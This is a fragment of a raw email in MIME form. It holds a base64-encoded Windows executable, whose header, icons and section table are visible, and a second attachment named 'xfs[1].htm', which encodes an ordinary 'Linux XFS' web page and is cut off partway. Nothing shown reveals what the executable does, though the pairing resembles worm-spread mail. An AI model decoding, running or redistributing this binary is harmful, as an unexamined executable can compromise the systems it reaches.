AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAwAAACAAAIAOAAAAQAAAgAAAAAAAAAAAAAAAAAAAAgABAAAA WAAAgAIAAABwAACAAAAAAAAAAAAAAAAAAAABAGUAAACIAACAAAAAAAAAAAAAAAAAAAABAAQI AACgAAAAAAAAAAAAAAAAAAAAAAABAAQIAACwAAAAAAAAAAAAAAAAAAAAAAABAAQIAADAAAAA 0FAJAOgCAAAAAAAAAAAAALhTCQAoAQAAAAAAAAAAAADgVAkAIgAAAAAAAAAAAAAAKAAAACAA AABAAAAAAQAEAAAAAACAAgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAL8AAL8AAAC/vwC/AAAA vwC/AL+/AADAwMAAgICAAAAA/wAA/wAAAP//AP8AAAD/AP8A//8AAP///wAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAd3gzqgAAAAAAAAAAAAAHf3d4M6p3gAAAAAAAAAAP9/d3eDOqd8hgAAAA AAAA//9/d3gzqnjGZgAAAAAAD///93d4OKd8hmZgAAAAAHf//393eDenjGZmdwAAAAeHf//3 93g3p8hmZ3dwAAAIeHf//3d4OqjGZnd34AAAh4eHf//3eDqshmd37u4AAHh4eHf/f3g6jGZ3 7u67AAeHh4eHf/d4Oshnfuu7uqAIeHh4eHf4iIjGfru7qqqgB4eHh4eHiAAAiLu6qqMzMAh4 eHh4eICP+AgzMzPd3dAIiIiIiIiA//8IXV1dXV1QBdXV1dXVgP//CIiIiIiIgA3d3TMzM4CP +AiHh4eHh4ADMzqqq7uIAACIeHh4eHhwCqqqu7vnbIiIj3eHh4eHgAqru77ndoyjh3/3eHh4 eHAAu+7ud2bIo4f3/3eHh4cAAO7ud3ZoyqOHf//3eHh4AAAOd3dmbIqjh3f//3eHgAAAB3d2 Zox6c4d/f//3eHAAAAB3ZmbIenOHd/f//3cAAAAABmZox3qDh3d////wAAAAAABmbIeqM4d3 9///AAAAAAAABox3qjOHd39/8AAAAAAAAAAId6ozh3f3cAAAAAAAAAAAAACqM4d3AAAAAAAA AAAAAAAAAAAAAAAAAAAAAP/wD///gAH//gAAf/wAAD/4AAAf8AAAD+AAAAfAAAADwAAAA4AA AAGAAAABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIAAAAGAAAAB wAAAA8AAAAPgAAAH8AAAD/gAAB/8AAA//gAAf/+AAf//8A//KAAAABAAAAAgAAAAAQAEAAAA AADAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIAAAIAAAACAgACAAAAAgACAAICAAACAgIAA wMDAAAAA/wAA/wAAAP//AP8AAAD/AP8A//8AAP///wAAAAAAAAAAAAAACIc6gAAAAA/4hzLM YAAACPiHMsZoAACHj4csZoYACHh4hyxoqqAHh4dwCCqiIAh4eA/wERVQBVERD/CHh4ACKqKA CHh4cAqqhsJ4h4eAAGhmwnj4eAAAhmwjeI+IAAAGzCN4j/AAAAAIo3iAAAAAAAAAAAAAAPgf AADgBwAAwAMAAIABAACAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgAEAAIABAADAAwAA 4AcAAPgfAAAAAAEAAgAgIBAAAQAEAOgCAAABABAQEAABAAQAKAEAAAIAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAATVqQAAMA AAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA gAAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1v ZGUuDQ0KJAAAAAAAAABQRQAATAEGAC8I3DUAAAAAAAAAAOAADiELAQMKAHAAAAAqAAAAAAAA 2RgAAAAQAAAAgAAAAADCfwAQAAAAEAAABAAAAAAAAAAEAAAAAAAAAADgAAAABAAAHFoBAAIA AAAAABAAABAAAAAAEAAAEAAAAAAAABAAAACAdQAAFQoAAACQAABQAAAAALAAAKwSAAAAAAAA AAAAAAAAAAAAAAAAANAAAIAFAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAABskQAACAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAC50ZXh0AAAA lW8AAAAQAAAAcAAAABAAAAAAAAAAAAAAAAAAACAAAGAuZGF0YQAAACwBAAAAgAAAABAAAACA AAAAAAAAAAAAAAAAAABAAADQLmlkYXRhAADqBgAAAJAAAAAQAAAAkAAAAAAAAAAAAAAAAAAA QAAAQC5pbnN0YW5j2AIAAACgAAAAEAAAAKAAAAAAAAAAAAAAAAAAAEAAAMAucnNyYwAAAAAg AAAAsAAAACAAAACwAAAAAAAAAAAAAAAAAABAAADQLnJlbG9jAADSBgAAANAAAAAQAAAA0AAA AAAAAAAAAAAAAAAAQAAAQgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAD== --Q8714e2L66enF661u68kOrxZ6 --Q8714e2L66enF661u68kOrxZ6 Content-Type: application/octet-stream; name=xfs[1].htm Content-Transfer-Encoding: base64 Content-ID: PCFET0NUWVBFIEhUTUwgUFVCTElDICItLy9XM0MvL0RURCBIVE1MIDQuMCBUcmFuc2l0aW9u YWwvL0VOIiAiaHR0cDovL3d3dy53My5vcmcvVFIvUkVDLWh0bWw0MC9sb29zZS5kdGQiPgo8 SFRNTD4KPEhFQUQ+Cgo8VElUTEU+TGludXggWEZTPC9USVRMRT4KPCEtLSBIRUFEIC0tPgoK PCEtLS0gVGhpcyBzdHlsZSB3aWxsIGRlZmluZSB0aGUgbWFpbiBsaW5rIHRpdGxlIHRvIGxv b2sgaW5hY3RpdmUgLS0tPgo8U1RZTEU+PCEtLSAuaG9tZUxpbmsge2NvbG9yOiAjMDAwMDAw OyB0ZXh0LWRlY29yYXRpb246IG5vbmU7fSAtLT48L1NUWUxFPgo8U1RZTEU+PCEtLSAuY29k ZSB7Zm9udC1zaXplIDogc21hbGw7IGNvbG9yIDogIzAwMDBGRjt9IC0tPjwvU1RZTEU+CjxT Q1JJUFQgTEFOR1VBR0U9IkphdmFTY3JpcHQiIFNSQz0iL2pzL3N0eWxlX3NuaWZmZXIuanMi PjwvU0NSSVBUPgoKPCEtLSBTdHlsZXNoZWV0IHNlY3Rpb24gaXMgdXNlZCB0byBpbml0aWFs aXplIHRoZSBtZW51cyBhbmQgdGhlIGhpZ2hsaWdodCBtZW51cyAtLT4KPExJTksgUkVMPSJz dHlsZXNoZWV0IiBIUkVGPSIvc3R5bGVzL2dlbmVyYWwuY3NzIiBUWVBFPSJ0ZXh0L2NzcyI+ CjxMSU5LIFJFTD0iaWNvbiIgSFJFRj0ieGZzLnBuZyIgVFlQRT0iaW1hZ2UvcG5nIj4KCjxT VFlMRSBUWVBFPSd0ZXh0L2Nzcyc+CjwhLS0KI21lbnUwCXsJcG9zaXRpb246IGFic29sdXRl OyBsZWZ0OiAxNTZweDsgdG9wOiA3OXB4OyB6LWluZGV4OiAxMDE7IHZpc2liaWxpdHk6IGhp ZGRlbjsgd2lkdGg6IDEwN3B4O30KI21lbnUwb3ZlcnMgewlwb3NpdGlvbjogYWJzb2x1dGU7 IGxlZnQ6IDE1NnB4OyB0b3A6IDc5cHg7IHotaW5kZXg6IDExMTsgdmlzaWJpbGl0eTogaGlk ZGVuOyB3aWR0aDogMTA3cHg7fQojbWVudTEJewlwb3NpdGlvbjogYWJzb2x1dGU7IGxlZnQ6 IDI2NHB4OyB0b3A6IDc5cHg7IHotaW5kZXg6IDEwMjsgdmlzaWJpbGl0eTogaGlkZGVuOyB3 aWR0aDogMTEwcHg7fQojbWVudTFvdmVycyB7CXBvc2l0aW9uOiBhYnNvbHV0ZTsgbGVmdDog MjY0cHg7IHRvcDogNzlweDsgei1pbmRleDogMTEyOyB2aXNpYmlsaXR5OiBoaWRkZW47IHdp ZHRoOiAxMTBweDt9CiNtZW51Mgl7CXBvc2l0aW9uOiBhYnNvbHV0ZTsgbGVmdDogMzc1cHg7 IHRvcDogNzlweDsgei1pbmRleDogMTAzOyB2aXNpYmlsaXR5OiBoaWRkZW47IHdpZHRoOiAx MTlweDt9CiNtZW51Mm92ZXJzIHsJcG9zaXRpb246IGFic29sdXRlOyBsZWZ0OiAzNzVweDsg dG9wOiA3OXB4OyB6LWluZGV4OiAxMTM7IHZpc2liaWxpdHk6IGhpZGRlbjsgd2lkdGg6IDEx OXB4O30KI21lbnUzCXsJcG9zaXRpb246IGFic29sdXRlOyBsZWZ0OiA0OTVweDsgdG9wOiA3 OXB4OyB6LWluZGV4OiAxMDQ7IHZpc2liaWxpdHk6IGhpZGRlbjsgd2lkdGg6IDE2N3B4O30K I21lbnUzb3ZlcnMgewlwb3NpdGlvbjogYWJzb2x1dGU7IGxlZnQ6IDQ5NXB4OyB0b3A6IDc5 cHg7IHotaW5kZXg6IDExNDsgdmlzaWJpbGl0eTogaGlkZGVuOyB3aWR0aDogMTY3cHg7fQoj bWVudTQJewlwb3NpdGlvbjogYWJzb2x1dGU7IGxlZnQ6IDY2M3B4OyB0b3A6IDc5cHg7IHot aW5kZXg6IDEwNjsgdmlzaWJpbGl0eTogaGlkZGVuOyB3aWR0aDogMTE2cHg7fQojbWVudTRv dmVycyB7CXBvc2l0aW9uOiBhYnNvbHV0ZTsgbGVmdDogNjYzcHg7IHRvcDogNzlweDsgei1p bmRleDogMTE2OyB2aXNpYmlsaXR5OiBoaWRkZW47IHdpZHRoOiAxMTZweDt9CiNtZW51NW92 ZXJzIHsJcG9zaXRpb246IGFic29sdXRlOyBsZWZ0OiA2MTVweDsgdG9wOiA0NXB4OyB6LWlu ZGV4OiA0MDA7IHZpc2liaWxpdHk6IGhpZGRlbjt9CgpJTUcubWVudSB7Ym9yZGVyLWJvdHRv bToxcHggd2hpdGUgc29saWR9CkJSLm1lbnV7bWFyZ2luLWJvdHRvbToxcHh9CgotLT4KPC9T VFlMRT4KPFNDUklQVCBMQU5HVUFHRT0iSmF2YVNjcmlwdCI+CjwhLS0KCndpbmRvdy5vbmVy cm9yID0gbnVsbDsKd2luZG93LmRlZmF1bHRTdGF0dXMgPSAnJzsKCnZhciBpbml0aWFsaXpl ZCA9IDA7CnZhciBtZW51cyA9IG5ldyBBcnJheSgpOwp2YXIgbWVudXN0YXR1cyA9IG5ldyBB cnJheSgpOwp2YXIgbWVudW92ZXJzID0gbmV3IEFycmF5KCk7CgovLyBpbml0aWFsaXplcyB0 aGUgbWVudXMgaW50byBhbiBhcnJheQpmdW5jdGlvbiBpbml0KCl7CglpZihpc0ZvdXIpIHsK CQlmb3IgKHZhciBpPTA7aTw9NTtpKyspIHsKCQkJbWVudXN0YXR1c1tpXSA9ICJjbG9zZWQi OwoJCQlpZiAoZG9jdW1lbnQubGF5ZXJzKSB7CgkJCQltZW51b3ZlcnNbaV0gPSBldmFsKCJ3 aW5kb3cuZG9jdW1lbnQubWVudSIraSsib3ZlcnMiKTsKCQkJCW1lbnVzW2ldID0gZXZhbCgi d2luZG93LmRvY3VtZW50Lm1lbnUiK2kpOwoJCQkJaWYgKGkgPCA1KSBtZW51b3ZlcnNbaV0u b25tb3VzZW91dCA9IG1lbnVoaWRlcjsKCQkJfSBlbHNlIHsKCQkJCXZhciB0bW5vdiA9IChk b2N1bWVudC5hbGwpP2V2YWwoImRvY3VtZW50LmFsbC5tZW51IitpKyJvdmVycyIpOmRvY3Vt ZW50LmdldEVsZW1lbnRCeUlkKCJtZW51IitpKyJvdmVycyIpOwoJCQkJdmFyIHRtbiA9IChk b2N1bWVudC5hbGwpP2V2YWwoImRvY3VtZW50LmFsbC5tZW51IitpKTpkb2N1bWVudC5nZXRF bGVtZW50QnlJZCgibWVudSIraSk7CgkJCQltZW51b3ZlcnNbaV0gPSB0bW5vdi5zdHlsZTsK CQkJCW1lbnVzW2ldID0gdG1uLnN0eWxlOwoJCQkJaWYgKGkgPCA1KSB0bW5vdi5vbm1vdXNl b3V0ID0gbWVudWhpZGVyOwoJCQl9CgkJfQoJfQoJaW5pdGlhbGl6ZWQgPSB0cnVlOwp9Cgov LyBTZXRzIHRoZSBzZWxlY3RlZCBtZW51IHRvIHZpc2libGUKZnVuY3Rpb24gY2hhbmdlKE5h bWUsSW1hZ2UsTm8pIHsKICAgICAgICBpZiAoaW5pdGlhbGl6ZWQpIHsKICAgICAgICAgICAg ICAgIGRvY3VtZW50IFtOYW1lXS5zcmMgPSBldmFsKEltYWdlICsgTm8gKyAiLnNyYyIpOwoJ CWlmIChOYW1lID09ICdpbWdtZW51MCcpIGRvY3VtZW50IFsnaW1nY3JuciddLnNyYyA9IGV2 YWwoIm5hdl9wcm9kX2Nvcm5lciIgKyBObyArICIuc3JjIik7CiAgICAgICAgCXZhciBtZW51 bnVtYmVyID0gcGFyc2VJbnQoTmFtZS5jaGFyQXQoNykpOwogICAgICAgIAlpZigoaXNGb3Vy KSYmKE5vKSYmKG1lbnVzdGF0dXNbbWVudW51bWJlcl0gPT0gJ2Nsb3NlZCcpKSB7CgkJCW1l bnVvdmVyc1ttZW51bnVtYmVyXS52aXNpYmlsaXR5ID0gJ3Zpc2libGUnOwoJCQltZW51b3Zl 